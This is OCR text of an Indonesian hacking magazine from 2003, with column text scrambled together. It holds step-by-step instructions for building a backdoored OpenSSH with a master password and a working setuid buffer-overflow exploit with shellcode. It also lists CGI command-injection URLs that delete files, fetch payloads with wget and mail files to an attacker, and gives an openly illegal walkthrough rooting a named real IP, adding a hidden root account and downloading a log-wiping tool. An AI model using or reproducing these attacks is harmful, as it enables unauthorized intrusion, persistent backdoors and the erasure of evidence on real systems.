Selanjutnya ekstrak file openssh tsb: Enter. Itu berfungsi untuk menyimpan hasil modifikasi.
#tar -zxvf openssh-3.5p1.tar.gz
Untuk version.h lakukan modifikasi dengan kembali
menggunakan pico:
# pico version.h
Perhatikan yellow light, tambahkan skrip di bawah ini di
bagian yellow light.
#define T3RM "password"

Ganti password sesuai dengan yang anda inginkan. Kem-


bali simpan hasil modifikasi tersebut dengan cara yang
sama ketika menyimpan hasil modifikasi pada auth-pass-
wd.c dan setelah itu lakukan kompilasi ulang OpenSSH.
Langkah-langkah yang harus dilakukan selanjutnya,
lakukan command berikut secara berturut-turut:
#./configure
Setelah semua file diekstrak, masuk ke directory openssh- # make
3.1p1 dengan command berikut ini: # make install
#cd openssh-3.5p1 Jika terjadi error, baca ulang file README & INSTALL
#ls yang sudah ada di dalam direktori OpenSSH-3.1p1.
Lakukan edit pada etc/sshd_config seperlunya. Lalu kalau
sudah jalankan binary sshd yang terletak pada sbin/sshd
Lakukan cek apakah sshd sudah berjalan atau belum
dengan command berikut:
#ps aux | grep sshd
#netstat -an |grep LISTEN
Jika sshd sudah ada pada proses dan port 22 dalam keadaan
LISTEN, maka SSHD sudah berjalan dan backdoor dapat di-
gunakan. Lakukan tes dengan mencoba koneksi ke SSH. Sete-
lah muncul login isikan dengan root. Passwordnya adalah pass-
word backdoor yang telah diset pada file version.h. Kini anda
sudah bisa login dengan backdoor yang dibuat pada Open
Lalu perhatikan dan cari dua file ini: auth-passwd.c dan SSH-3.1p1 dan ini tidak hanya berguna bagi login root saja,
version.h. tetapi cobalah juga untuk login user lain di sistem tersebut.
Dua file inilah yang akan kita modifikasi sehingga openssh Sebenarnya yang anda lakukan hanya menambahkan baris
yang kita instal menjadi backdoor. Password backdoor perintah pada file kode otentikasi dari OpenSSH yang ber-
yang telah kita set akan menjadi satu-satunya password guna apabila password yang diisikan sama dengan yang telah
yang dapat membuka login untuk seluruh user di sistem didefinisikan pada file version.c maka dia akan langsung login
yang dipasangi backdoor ini. shell tanpa melakukan cek otentikasi pada /etc/passwd dan
Pertama modifikasi auth-passwd.c dengan menggunakan /etc/shadow. Anda juga bisa melakukan login dengan user-
command pico: name dan password yang sebenarnya. Sehingga daemon
#pico auth-passwd.c OpenSSH ini tetap bekerja dengan semestinya, walaupun
telah kita modifikasi ulang menjadi sebuah backdoor.

Januari 2003 NeoTek 19


NeoTekno

Memahami Metode Hacking


Buffer Overflow
Input validation attack dapat mengakibatkan suatu sistem crash yang dikenal sebagai buffer overflow
yaitu variabel yang tersedia pada aplikasi tidak dapat menampung input yang sengaja dibuat berlebihan.
Teknik ini banyak digunakan pada man in the middle attack maupun untuk mendapatkan shell console.

NDA MUNGKIN PERNAH MENDENGAR istilah buffer Anda bisa mencoba program input yang kita buat di shell
A overflow. Buffer overflow adalah salah satu meto-
de yang digunakan oleh hacker untuk mengeks-
Linux atau Unix anda. Coba perhatikan gambar berikut:

ploitasi sebuah sistem komputer yang memiliki kelemah-


an pada salah satu aplikasi yang digunakan oleh sistem
tersebut.
Sebuah aplikasi dapat di-buffer-overflow karena memang
aplikasi tersebut tidak memiliki kontrol data yang baik
dan biasanya ini tidak di sadari oleh si pembuat program
tersebut. Lalu bagaimana seorang hacker dapat memper-
oleh hak akses terhadap sistem hanya dengan memanfa-
atkan kelemahan dari suatu aplikasi yang ada di sistem
komputer target? Tentu hal ini berkaitan erat dengan
otoritas (baca: akses) yang di miliki oleh aplikasi tersebut.
Agar anda bisa memahami dan melihat secara nyata
dampak dan akibat dari buffer overflow ini, di sini akan
diimplementasikan metode buffer overflow ini dalam
bahasa C/C++ yang hingga saat ini masih menjadi bahasa
yang paling banyak digunakan dalam pembuatan aplikasi
untuk Linux dan Unix. Kemudian untuk sistem operasi- • Gambar 1: Uji coba kode input.c.
nya penulis menggunakan Linux RedHat 7.2 Enigma.
Dari contoh di atas kita bisa melihat ketika dimasukkan
Pemahaman buffer overflow sendiri adalah keadaan di karakter sebanyak 25 karakter aplikasi berjalan normal
mana buffer (variabel yang di gunakan suatu aplikasi un- tetapi ketika dicoba dengan karakter di atas 30 yang terja-
tuk menyimpan datanya di memori) terisi dengan data di adalah aplikasi mengalami segmentation fault. Nah
yang ukurannya melebihi kapasitasnya sendiri dan aki- inilah yang di maksud dengan kondisi buffer overflow.
batnya kelebihan data itu akan mengisi alamat memori Lalu apa yang terjadi di memori ketika terjadi buffer
lain yang bukan milik variabel tersebut atau dalam hal ini overflow? Kita akan mencoba menganalisisnya dengan
di sebut dengan overwrite. Implementasinya dalam program gdb (program debuger Linux dan Unix).
bahasa C/C++ begini:
Code: input.c
#include <stdio.h>
void duplikasi(char *st) {
char buf[30];
strcpy(buf, st);
printf("Anda telah memasukan data ke variabel buf
dengan:\n%s\n", buf);
return;
}
int main () {
char msg[100];
printf("Masukan karakter, kemudian tekan enter: ");
gets(msg);
duplikasi(msg);
return 0;
}
Dari kode di atas variabel msg diduplikasikan ke variabel
• Gambar 2: Analisis dampak buffer overflow di memori.
buf yang memiliki kapasitas 30 karakter. Lalu apa yang
terjadi jika kita masukkan karakter di atas 30 karakter?
Anda perhatikan informasi register dari program input
Sebelumnya kompile kode input.c dengan gcc compiler.
yang ditampilkan oleh gdb. Nampak di situ variabel EIP
gcc -o <output file> <input file.c> berisi heksa 0x41414141 yang dalam ASCII angka 41
merupakan karakter "A". Hal ini menunjukan bahwa

20 NeoTek Januari 2003


NeoTekno

• Gambar 3: Informasi register yang diprogram gdb. • Gambar 4: Eksploitasi lokal program PWCK yang
tidak memiliki bits SUD.
informasi yang ada di EBP telah mengoverwrite register
EIP di memori. Kemudian bagaimana kondisi buffer over-
flow seperti di atas bisa di manfaatkan untuk mendapat-
kan akses administrator dari suatu sistem komputer? Di
dalam system komputer yang memiliki kontrol sekuriti
dikenal adanya otoritas atau pembatasan dan pemberian
hak akses terhadap suatu aplikasi dimana hak ini ditentu-
kan berdasarkan kebutuhan aplikasi tersebut. Misalnya
bits SUID (+s) yang di berikan oleh sistem komputer di
Linux dan Unix. Aplikasi-aplikasi tertentu yang dalam
kerjanya membutuhkan akses terhadap sistem akan di
beri bits SUID (+s) yang memiliki akses setara root (ad-
ministator access). Jika aplikasi yang mengandung bits
SUID tersebut bisa di-buffer-overflow maka bisa dipasti-
kan akses setara administrator akan bisa diperoleh oleh
seorang user.
Bagaimana cara mengeksploitasi aplikasi yang bisa di- • Gambar 5: Eksploitasi lokal program PWCK yang
buffer-overflow? Anda bisa melihat di contoh sebelumnya memiliki bits SUD.
bagaimana ketika terjadi buffer overflow register EIP bisa printf("RET: 0x%08x\n",ret);
ter-overwrite dan apa yang terjadi jika setelah karakter ap = (int *)(buf + ALIGN);
overflow ("AAAA") ditambahkan karakter shellcode for ( i=0; i < BUF; i+=4)
(binary code) yang bisa menjalankan (execute) program *ap ++= ret;
shell seperti "/bin/sh" maka yang terjadi adalah program for ( i=0; i < BUF / 2; i++)
shell "/bin/sh" akan tereksekusi dengan otoritas (hak buf[i]=NOP;
for ( n = 0; n < strlen(sc); n++)
akses) dari aplikasi yang ter-buffer-overflow tersebut. buf[i++] = sc[n];
Perhatikan eksploit dari program PWCK yang terinstall execl("/usr/sbin/pwck", "pwck", buf, NULL);
default di sistem Linux dan Unix yang berada di lokasi }
/usr/sbin/pwck : Dari dua contoh Gambar 4 dan 5 bisa kita lihat perbedaan
#include<stdio.h> akses yang didapat dengan metode hacking buffer over-
#include<stdlib.h> flow. Untuk aplikasi pwck yang tidak memiliki bits SUID
char sc[]= ketika di-buffer-overflow akses yang diperoleh adalah
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid (0) user biasa, sedang untuk pwck yang mengandung bits
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0" // execve("/bin/sh")
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
SUID (+s) akses yang diperoleh adalah root system
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" (administrator access). Dalam system linux dan unix bits
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd" suid bisa di tambahkan dengan command berikut:
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define ALIGN 0
bash$ chmod +s /usr/sbin/pwck → chmod +s < aplikasi>
#define BUF 2500 //2176 = redhat 7.2 ; 2391 = mandrake 8.2 Untuk menghilangkan bits suid Anda cukup merubah +s
#define NOP 0x90 menjadi -s seperti contoh berikut :
unsigned long get_sp(void)
{ bash$ chmod -s /usr/sbin/pwck → chmod -s < aplikasi>
__asm__("movl %esp,%eax");
} Mudah-mudahan dari penjelasan singkat di atas pembaca
int main(int argc,char **argv) { NeoTek sudah bisa memahami bagaimana metode buffer
int ret, i, n; overflow bekerja. Dampak yang paling fatal yang diaki-
char buf[BUF]; batkan oleh buffer overflow adalah terkuasainya akses
int *ap; setingkat root dan ini berarti seorang user biasa sudah
if(argc>1) memiliki akses yang sama dengan administrator.
ret = get_sp() - atoi(argv[1]);
else Penulis Dani Firmansyah (xnuxer@yahoo.com) online di
ret = 0xbffff202; Dalnet dengan nick Schizoprenic.
Januari 2003 NeoTek 21
NeoTekno

Input Validation Attack


Fingerprint Port 80
Unicode dan double decode bug yang banyak digunakan untuk menyerang IIS pada sistem Windows pada
dasarnya merupakan input validation attack. Hal ini dikarenakan sejak awal kemunculan Web
keamanan terhadap input yang tidak terduga kurang diperhatikan, termasuk juga pada sistem Unix/Linux.

ORT 80 MERUPAKAN PORT STANDAR UNTUK sebuah Sebuah aplikasi Web mungkin tidak mengizinkan request
P situs Web, tetapi dapat mengizinkan seseorang
untuk melakukan serangan, baik terhadap akses
tersebut karena hal itu menetapkan nama file dengan
akhiran .htm, .html, .shtml, atau tipe file lainnya. Dengan
admin situs Web maupun servernya. Salah satu teknik arti kata itu bukan merupakan tipe file yang valid. Jadi
untuk melakukan serangan tersebut adalah Fingerprint sebaiknya menggunakan nama file yang pasti, dari situ
Port 80. Teknik ini dilakukan dengan menggunakan eksploit seseorang akan dapat menggali path server, nama file, dan
terhadap aplikasi Web server yang menggunakan CGI. kemudian kemungkinan menggali lebih banyak informasi
mengenai sistem. Agar aplikasi mengetahui dengan sendi-
Request rinya akhiran nama file menegaskan untuk dapat diteri-
Karakter khusus yang berupa tanda titik ataupun berupa ma tipe file, beberapa aplikasi web melakukan penahanan
kode ASCII yang lebih memiliki istilah yaitu "request", untuk request file yang valid dan inilah metode yang
merupakan tanda yang umum digunakan dalam melaku- umumnya digunakan oleh para penyerang.
kan fingerprint terhadap aplikasi web server. Umumnya Contoh:
lubang pada CGI memuat beberapa request.
http://host/cgibin/*.cgi?page=../../../../etc/motd%00html
1. "." ".." dan "..."
4. "|"
Fungsinya untuk mengganti direktori pada server web
untuk mendapatkan akses yang tidak ditampilkan pada Karakter pipa yang sering digunakan pada UNIX untuk
khalayak umum/pengguna akses Web tersebut. Jika sese- membantu mengeksekusi perintah kelipatan/bertingkat.
orang melakukan request dengan melakukan browsing Contoh:
terhadap sebuah file pada server yang memungkinkannya #cat access_log| grep -i "/../"
menggali cukup banyak informasi untuk mendapatkan
lebih privilege (hak istimewa). Contoh penggunaan:
http://host/cgi-bin/*.cgi?page=../../../../bin/ls|
Contoh penggunaan:
http://host/cgi-bin/*.cgi?page=../../../../bin/ls%20-al%20/etc|
http://host/cgi-bin/*.cgi?file=../../../../etc/motd
http://host/cgi-bin/*.cgi?page=cat%20access_log|grep%20-
i%20"lame"
2. "%20"
Nilai hex yang berarti pemberian 1 spasi. Beberapa apli- 5. ";"
kasi web menggunakan karakter ini yang kadang-kadang Katakter ini mengizinkan perintah kelipatan/bertingkat
digunakan utuk membantu mengeksekusi perintah. untuk dapat dieksekusi dalam sebuah kesulitan pada
Contoh penggunaan: sistem UNIX. Contoh: #id;uname -a
http://host/cgi-bin/*.cgi?page=ls%20-al| Seringkali aplikasi Web mengizinkan karakter ini dan itu
merupakan ide yang buruk bagi admin Web server karena
Contoh di atas juga menggambarkan serangan untuk tanda bahaya kesalahan akan hilang dan penyerang dapat
mengeksekusi perintah ls pada sistem UNIX yang akan mengakses dengan sangat baik.
memperlihatkan isi direktori. Jika hal itu terjadi artinya
seseorang telah mendapat izin untuk mengakses data-data 6. "<", ">"
penting yang ada pada sistem dan dapat juga memberikan
Karakter ini tertahan dalam log untuk alasan yang banyak
ide selanjutnya pada orang itu untuk mendapatkan hak
sekal. Pertama karakter ini digunakan untuk melampirkan
istimewa (privilege).
data ke file-file. Contoh: #echo "your hax0red h0 h0" >>
3. "%00" /etc/motd (UNIX sistem) seseorang akan mudah meng-
gunakan request ini untuk melakukan deface terhadap
Nilai Hex yang berarti 0 byte. Dapat digunakan untuk situs Web.
membodohi aplikasi web pada sebuah perbedaan tipe dari
file yang dapat memperlihatkan sifat tertentu untuk me- Contoh penggunaan:
nyelidiki dan menemukan sebuah lubang di dalamnya. http://host/*.php=<b>Hi%20sayang%20aku%20lapar</b>
Contoh penggunaan:
7. "!"
http://host/cgi-bin/*.cgi?page=index.html
Karakter ini sering digunakan dalam serangan-serangan
http://host/cgi-bin/*.cgi?page=../../../../etc/motd
SSI (Server Side Include). Karakter ini mengizinkan

22 NeoTek Januari 2003


NeoTekno

seorang penyerang untuk memiliki seperti hasil-hasil Contoh:


sebagai skrip eksploit jika seorang penyerang membodohi http://host/cgi-bin/*.cgi?doh=../../../../bin/id|
seorang user untuk melakukan klik terhadap sebuah link. http://host/cgi-bin/*.cgi?doh=id;
Contoh:
4. "/bin/rm"
http://host1/*.php=<!%20--
#include%20virtual="http://host2/fake.html"--> Binary ini adalah perintah rm yang digunakan pada path-
path penuh untuk sedikit lubang-lubang aplikasi web. Ini
Karakter tersebut juga mengizinkannya untuk mengekse- dapat mengakibatkan perintah remote pengeksekusian
kusi perintah pada sistem dengan hak istimewa pengguna lubang-lubang yang mengizinkan untuk menghapus file-
server web. file.
Contoh: Contoh:
http://host/*.php=<!%20#<!--#exec%20cmd="id"-->
http://host/cgi-bin/*.cgi?doh=../../../../bin/rm%20-rf%20*|
Karakter tersebut juga dapat mengizinkan pencantuman http://host/cgi-bin/*.cgi?doh=rm%20-rf%20*;
file-file yang hidden.
Contoh: 5. "wget", "tftp"
http://host/*.php=<!%20--#include%20virtual=".htpasswd"--> Ini merupakan perintah yang sering digunakan oleh pe-
nyerang atau virus untuk men-download file-file ekstra
8. "<?" yang dapat digunakan untuk lebih menggali sistem. Wget
merupakan perintah pada sistim UNIX yang digunakan
Karakter ini sering digunakan ketika mencoba memasuk- untuk download pada backdoor. Begitu juga dengan tftp
kan php ke dalam remote aplikasi Web dan itu memung- merupakan perintah pada sistem UNIX dan Windows NT
kinkan perintah eksekusi pada setup server dan kontribusi yang digunakan untuk ownload file-file. Beberapa virus
lainnya. IIS digunakan untuk perintah tftp dalam download copy
Contoh: dirinya untuk diinfeksikan ke host untuk penyebarannya.
http://host/*.php=<? passthru("id");?> Contoh:
http://host/cgi-bin/*.cgi?doh=../../../../path/to-
9. "`" wget/wget%20http://host2/Phantasmp.c|
Karakter yang sering digunakan dalam Perl utuk mengek- http://host/cgi-bin/*.cgi?doh=wget%20http://www.fictif-
sekusi perintah-perintah. Karakter ini tidak normal dalam security.net/Phantasmp.c;
aplikasi Web, walaupun begitu ini sangat serius.
6. "cat"
Contoh:
Perintah ini digunakan untuk melihat isi file-file. Digu-
http://host/*.cgi=`id`
nakan untuk membaca informasi-informasi penting se-
perti file konfigurasi, file password, file kartu kredit dan
Tambahan Lainnya lain sebagainya.
Berikut ini merupakan perintah-perintah yang digunakan Contoh:
penyerang dalam mengeksekusi sepanjang web
http://host/cgi-bin/*.cgi?doh=../../../../bin/cat%20/etc/motd|
vulnerable untuk remote eksekusi perintah. Tetapi
http://host/cgi-bin/*.cgi?doh=cat%20/etc/motd;
perintah-perintah yang ditampilkan disini tidak komplit,
hanya perintah-perintah yang umum digunakan saja.
7. "echo"
1. "/bin/ls" Perintah ini sering digunakan untuk mencantumkan data
Ini binary dari perintah ls yang digunakan pada path-path ke file-file seperti index.html
penuh untuk sedikit lubang-lubang umum pada aplikasi Contoh:
Web. http://host/cgi-bin/*.cgi?doh=../../../../bin/echo%20"fc-
#kiwis%20was%20here"%20>>%200day.txt|
Contoh:
http://host/cgi-bin/*.cgi?doh=echo%20"fc-
http://host/cgi-bin/*.cgi?doh=../../../../bin/ls%20-al|
#kiwis%20was%20here"%20>>%200day.txt;
http://host/cgi-bin/*.cgi?doh=ls%20-al;

2. "cmd.exe" 8. "ps"
Ini merupakan shell windows, seorang penyerang jika Perintah ini digunakan untuk menunjukkan list dari
memiliki akses atas skrip ini akan dapat melakukan apa proses yang berjalan.
saja dalam sistem Windows untuk izin server. Hampir Contoh:
seluruh worm/virus melibatkan port 80 menggunakan http://host/cgi-bin/*.cgi?doh=../../../../bin/ps%20-aux|
cmd.exe untuk menolong menyebarkan infeksinya ke http://host/cgi-bin/*.cgi?doh=ps%20-aux;
remote system.
Contoh: 9. "kill", "killall"
http://host/scripts/*.asp=../../WINNT/system32/cmd.exe?dir+e:\ Perintah ini digunakan untuk meng-kill atau menghen-
tikan proses pada sistem UNIX baik service sistem maupun
3. "/bin/id" program. Perintah ini digunakan untuk menutupi jejaknya.
Binary ini adalah perintah id yang digunakan pada path- Contoh:
path penuh untuk sedikit lubang-lubang aplikasi web. Ini http://host/cgi-bin/*.cgi?doh=../bin/kill%20-9%200|
dapat mengakibatkan perintah remote pengeksekusian http://host/cgi-bin/*.cgi?doh=kill%20-9%200;
lubang-lubang.

Januari 2003 NeoTek 23


NeoTekno

10. "uname" http://host/cgi-bin/*.cgi?doh=chmod%20777%20index.html;


Perintah ini digunakan ntuk mendapatkan nama host dari http://host/cgi-bin/*.cgi?doh=../../../../bin/chown
%20zeno%20/etc/master.passwd|
remote sistem. Biasa digunakan Bentuk perintah ini
http://host/cgi-bin/*..cgi?doh=chsh%20/bin/sh;
yaitu: "uname%20-a".
http://host/cgi-bin/*.cgi?doh=../../../../bin/chgrp%
Contoh: 20nobody%20/etc/shadow|
http://host/cgi-bin/*.cgi?doh=../../../../bin/uname%20-a|
Masih begitu banyak lagi perintah yang digunakan
http://host/cgi-bin/*.cgi?doh=uname%20-a; penyerang dalam mencoba mendapatkan akses dengan
melakukan teknik fingerprint port 80, antara lain:
11. "cc", "gcc", "perl", "python"
"/etc/passwd"
Perintah "cc" dan "gcc" untuk mengizinkan kompilasi "/etc/master.passwd"
program setelah mendownload file-file. Seperti meng- "/etc/shadow"
kompilasi exploit. Dari sini segalanya menjadi mungkin "/etc/motd"
untuk memasuki atau mengeksploitasi sistem lokal. "/etc/hosts"
"/usr/local/apache/conf/httpd.conf"
Contoh: "/etc/inetd.conf"
".htpasswd, .htaccess, and .htgroup"
http://host/cgi-bin/*.cgi?doh=../../../../bin/cc%20Phantasmp.c|
"access_log and error_log"
http://host/cgi-bin/*.cgi?doh=gcc%20Phantasmp.c;./a.out%20- "[drive-letter]:\winnt\repair\sam._ or [drive-
p%2031337; letter]:winnt\repair\sam"
Perintah "perl" atau "python" digunakan untuk mencoba Berikut ditunjukkan contoh teknik fingerprint untuk
eksploit lokal sistem setelah mendownload skrip perl atau melakukan Buffer Overflow
phyton. http://host/cgi-
bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAAA
12. "mail" AAAAAAAAAAAAAAAAAAAAAAAAAA
Perintah ini digunakan oleh penyerang untuk file-file AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
email pada sebuah alamat email miliknya. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
Contoh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
http://host/cgi-bin/*.cgi?doh=../../../../bin/mail%20maling AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@hostname%20<<%20/etc/motd| AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
http://host/cgi-bin/*.cgi?doh=mail%20maling@bandit.com%20 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<</tmp/wu-2.6.1.c; AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
13. "xterm" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Digunakan untuk mendapatkan akses shell. AAAA

Contoh: Di sini diperlihatkan seorang penyerang mengirimkan


http://host/cgi-bin/*.cgi?doh=../../../../usr/X11R6/bin/xterm%20-
banyak huruf A. Kadang hal itu dapat memaksa root
display%20192.168.22.1|
untuk mengizinkan akses penuh terhadap sistim. Buffer
Overflow banyak jenisnya, yang dicontoh hanya salah
http://host/cgi-bin/*.cgi?doh=Xeyes%20-display%20192.168.22.1; satu dari jenis tersebut.
14. "chown", "chmod", "chgrp", "chsh" Mungkin yang menjadi permasalahan utama untuk dapat
Digunakan untuk mengubah izin pada sistim UNIX. melakukan fingerprint port 80 adalah targetnya, kini
tidak semua website yang ada itu vulnerable terhadap
chown = mengizinkan setting kepemilikan user pada fingerprint port 80, tapi bukan berarti tidak ada. Untuk
sebuah file mendapatkan terget, bisa digunakan CGI scan yang dapat
chmod = mengizinkan sebuah file untuk dapat diset didownload gratis dari internet. Tetapi mendapatkan CGI
chgrp = mengizinkan kepemilikan goup utuk dirubah scan yang baik dan bagus itu yang susah. Sebuah
chsh = mengizinkan seorang user untuk mengganti permasalahan lagi muncul, itu tergantung dengan usaha
shell yang mereka gunakan anda.
Contoh: Penulis MA Rody Candera dapat dihubungi di
http://host/cgi-bin/*.cgi?doh=../../../../bin/chmod odyxb@melva.org
%20777%20index.html|

Perisai Ampuh Para Chatter:


Shell Account, BNC/EZBNC, PsyBNC & Eggdrop
(Teknik Instalasi Dan Konfigurasi).
Eryanto Sitorus
Tebal : 102 Halaman.
Terbitan: Agustus 2002
Penerbit: PT. Dinastindo
Harga : Rp. 13,500

24 NeoTek Januari 2003


NeoTekno

Rooting dengan Menggunakan


Exploit Apache-OpenSSL
OpenSSL sebagai suatu secure protocol juga mempunyai kelemahan yang bersifat fatal. Apache server
yang menggunakan OpenSSL yang vulnerable dapat ditampilkan root console-nya dengan menggunakan
rootkit yang disiapkan untuk itu yang berbeda-beda tergantung distro Linux-nya.

AAT INI AKTIVITAS HACKING YANG ADA di Indonesia rang target dengan menggunakan exploit OpenSSL. Nah
S semakin menanjak dengan semakin seringnya
diadakan diskusi online yang ada di portal-portal
sekarang pembaca bisa connect ke dalam server *nix. Dalam
hal ini penulis menganjurkan untuk menggunakan OS
yang membahas tentang hacking. Dan juga dengan sema- Linux dengan distro RedHat 7.2 ke bawah. Karena jenis
kin maraknya pergaulan komunitas hacking yang ada di server ini kompatibel untuk diinstalkan exploit Apache-
IRC (Internet Relay Chat). Hal tersebut tentunya menjadi OpenSSL. Kalau shell sudah ada maka kita connect ke
daya tarik pagi komunitas cyber underground di Indone- server dengan bantuan putty/secureCRT baik melalui
sia untuk sedikit lebih jauh mengikuti perkembangan dan SSH (secure shell) atau dengan telnet.
isu-isu keamanan komputer.
Tahap I:
Ada banyak memang portal portal yang membahas trik Persiapan target dan menentukan jenis apache
trik hacking, namun sepengetahuan kami jarang orang
yang serius membaca artikel yang tersedia karena berba-
hasa Inggris dan hal ini yang membuat komunitas TI di
Indonesia malas mempelajarinya. Pada kesempatan ini
kami mencoba menjelaskan sedikit pengalaman kami da-
lam mendapatkan Box Online secara ilegal atau rooting,
istilah yang biasa digunakan oleh kelompok hacking.
Untuk kali ini kita akan mencoba melakukan proses root-
ing dengan menggunakan exploit Apache-OpenSSL yang
akhir-akhir ini banyak digunakan kelompok cyber under-
ground untuk mendapatkan account box online secara ile-
gal. Dan cara ini pula yang banyak digunakan kelompok
tertentu untuk melakukan aktivitas defacing (mengubah
tampilan index.html atau menyisipkan pesan-pesan • Pemula, dapat memanfaatkan http://www.netcraft.com/ untuk
khusus pada situs Web yang mereka hack). mencari tahu jenis server dan jenis apache. Masukkan IP/hostname
Yang perlu dipersiapkan dalam proses rooting dengan yang sudah ditentukan didalam kotak testing dan tekan enter.
exploit OpenSSL ini adalah exploit Apache-OpenSSL dan
tools untuk menghilangkan log-log ketika kita berhasil
masuk ke sebuah server. Ada banyak situs di Internet
yang menyediakan tools tersebut (rootkit) yang selalu
dirilis dengan hal-hal yang baru. Sebagai contoh di sini
adalah :
• www.hack.co.za
• www.packetstormsecurity.com
• www.securiteam.com
• www.xunt.org
• www.team-teso.net • Gambar di atas hasil search melalui netcraft. Sebenarnya penulis
memakai scanner yang khusus untuk jenis target apache, namun
• www.w00w00.org mohon maaf karena kode etik penulis tidak bisa share tool tersebut
• www.l0pht.org disini. Testing IP 80.16.228.73 resolve to www.gedil96.it (IP tersebut
Dan masih banyak situs lain di cybermedia yang menye- berdasarkan hasil scanner yang penulis test jadi pembaca bisa
mencari IP atau host yang masih vulnerable, penulis biasa menda-
diakan tools untuk rootkit tersebut. Namun dalam kesem- patkan range IP 202.*.*.*, 203.*.*.*, 80.*.*.*, 40.*.*.* namun pembaca
patan ini penulis akan menyertakan source code tools ter- diharapkan muncul kreatifitas untuk mencarinya). Nah jenis host
sebut pada Web folder yang penulis miliki. tersebut memakai jenis apache 1.3.23 dan OS Linux distro Mandrake.
• www.radikal.org/openssl
• www.radikal.org/remove.c Catatan: hanya pada distro Mandrake saja kita bisa menda-
• www.radikal.org/backdoor.tar.gz patkan akses root melalui Apache, sedangkan terhadap
• www.radikal.org/local.tar.gz distro RedHat 7.0-7.1 harus menggunakan exploit send-
mail.tar.gz untuk mendapatkan local rootnya, tetapi itu
Pembaca dapat men-download source code tersebut lang- pun tidak menjamin bahwa server itu vulnerable.
sung di sana. Okey, kita sekarang mulai mencoba menye-

Januari 2003 NeoTek 25


NeoTekno

Tahap II :
Persiapan rooting
Download openssl-too-open.tar.gz di server anda, dengan
mengetikkan: wget url. Contoh:
wget packetstorm.security.nl/0209_exploits/openssl-too-open.tar.gz
Setelah download selesai, ekstrak file tersebut dengan
mengetikkan:
tar -zxvf openssl-too-open.tar.gz
Setelah itu, anda masuk ke direktori OpenSSL atau ketik-
kan: cd openssl-too-open
Ketik: make
Selanjutnya adalah mengetik command chmod +x openssl
untuk menginstal exploit tersebut. Setelah itu, kita tes
apakah tools kita berjalan dengan baik atau tidak. Mulai
beraksi untuk melakukan exploitasi.
Ketikkan ./openssl-too-open untuk mengetahui penggunaan
command dalam melakukan rooting terhadap Apache.

Pada bagian Example, terlihat command penggunaan


exploit openssl-too-open.
./openssl-too-open -a 0x01 -v localhost Nah sukses dan kita sudah masuk ke server
Perhatikan angka 0x01 sampai 0x15. Angka tersebut www.gedil96.it dengan account apache.
disesuaikan dengan jenis Apache yang kita peroleh dari
hasil scan di netcraft. OK kita test untuk IP target kita: Tahap III:
Memulai proses local exploit untuk
Target : 80.16.228.73 mendapatkan account root
Jenis Apache : apache 1.3.23
OS Linux distro : Mandrake Setelah berhasil masuk ke dalam server target tersebut
dan OS yang digunakan adalah Linux Mandrake, maka
Jadi command yang kita gunakan nantinya adalah: kita akan mudah mendapatkan account sebagai root
./openssl-too-open -a 0x15 -v 80.16.228.73 melalui local exploit. Kita mulai proses local exploiting.
Ikuti langkah-langkah seperti pada gambar berikut:

26 NeoTek Januari 2003


NeoTekno

Tahap IV:
Pembersihan log dan pemasangan backdoor
Nah setelah kita adduser scut (sebagai user biasa) dan ju-
ga michael (sebagai user setarap root) maka kita sekarang
login terlebih dahulu ke server yang berhasil kita tembus
tadi dengan menggunakan putty/secureCRT

Nah setelah ini kita coba periksa log kita dengan


menuliskan command:
[scut@www scut]$ lastlog | grep scut
Dengan menuliskan command tersebut berarti proses
pencarian log yang tertinggal hanya sebatas user scut
kita, kalau sudah maka kita akan melihat IP terakhir kita
saat login. Hal tersebut tentunya sangat berbahaya apa-
bila kita tidak segera menghapusnya.Caranya kita login
dahulu sebagai root dengan memanfaatkan user michael
kita sebagai user setaraf root, dengan command su.
Good Luck d0inks! Kita beruntung karena server tersebut [scut@www scut]$ su michael
masih vulnerable. Kemudian buat direktori /var/tmp/" "
Perhatikan: [root@www]# mkdir /var/tmp/" "
Now create a dir 'segfault.eng' and touch a file named Kemudian masuk ke direktori tersebut dengan
'segfault.eng' in it. menuliskan command
Then exec "./lconfex -s 0xbffff625 -m 0xbffff5f1 -r
[root@www]# cd /var/tmp/" "
792" to get rootshell
Untuk selanjutnya kita buat direktori segfault.eng, kemu- Siap untuk men-download tools untuk menghapus
dian lakukan command touch. Selanjutnya kita lakukan jejak/log kita didalam server
command ./lconfex -s (shellcode) -m (padstring) -r (magic [root@www tmp]# wget www.radikal.org/remove.c
number untuk Mandrake), dalam kasus ini kita dapatkan:
mkdir segfault.eng ; touch segfault.eng/segfault.eng
./lconfex -s 0xbffff625 -m 0xbffff5f1 -r 792

Selanjutnya kita coba ketik command id untuk mengeta-


hui apakah telah berhasil mendapatkan akses sebagai root. Nah setelah ini kita compile dengan command
[root@www tmp]# gcc -o r remove.c -DGENERIC
remove.c: In function `main':
Akhirnya berhasil mendapatkan akses root. Namun masih remove.c:50: warning: return type of `main' is not `int'
ada beberapa tahap lagi yaitu adduser, pembersihan log, /tmp/ccYtcTyL.o: In function `main':
dan proses backdooring. /tmp/ccYtcTyL.o(.text+0xd0): the `gets' function is
Nah kita sudah masuk sebagai root kemudian kita mulai dangerous and should not be used.
adduser dan user root dengan cara: [root@www tmp]#
/usr/sbin/useradd scut -g wheel -s /bin/bash -d /home/scut
(add user biasa dengan nama scut)
echo "tos::0:0::/.tos:/bin/bash" >> /etc/passwd
(add user sebagai root dengan nama michael)
passwd -d scut
(set default untuk password user dalam arti password kita
bebas untuk login ke shell)

Januari 2003 NeoTek 27


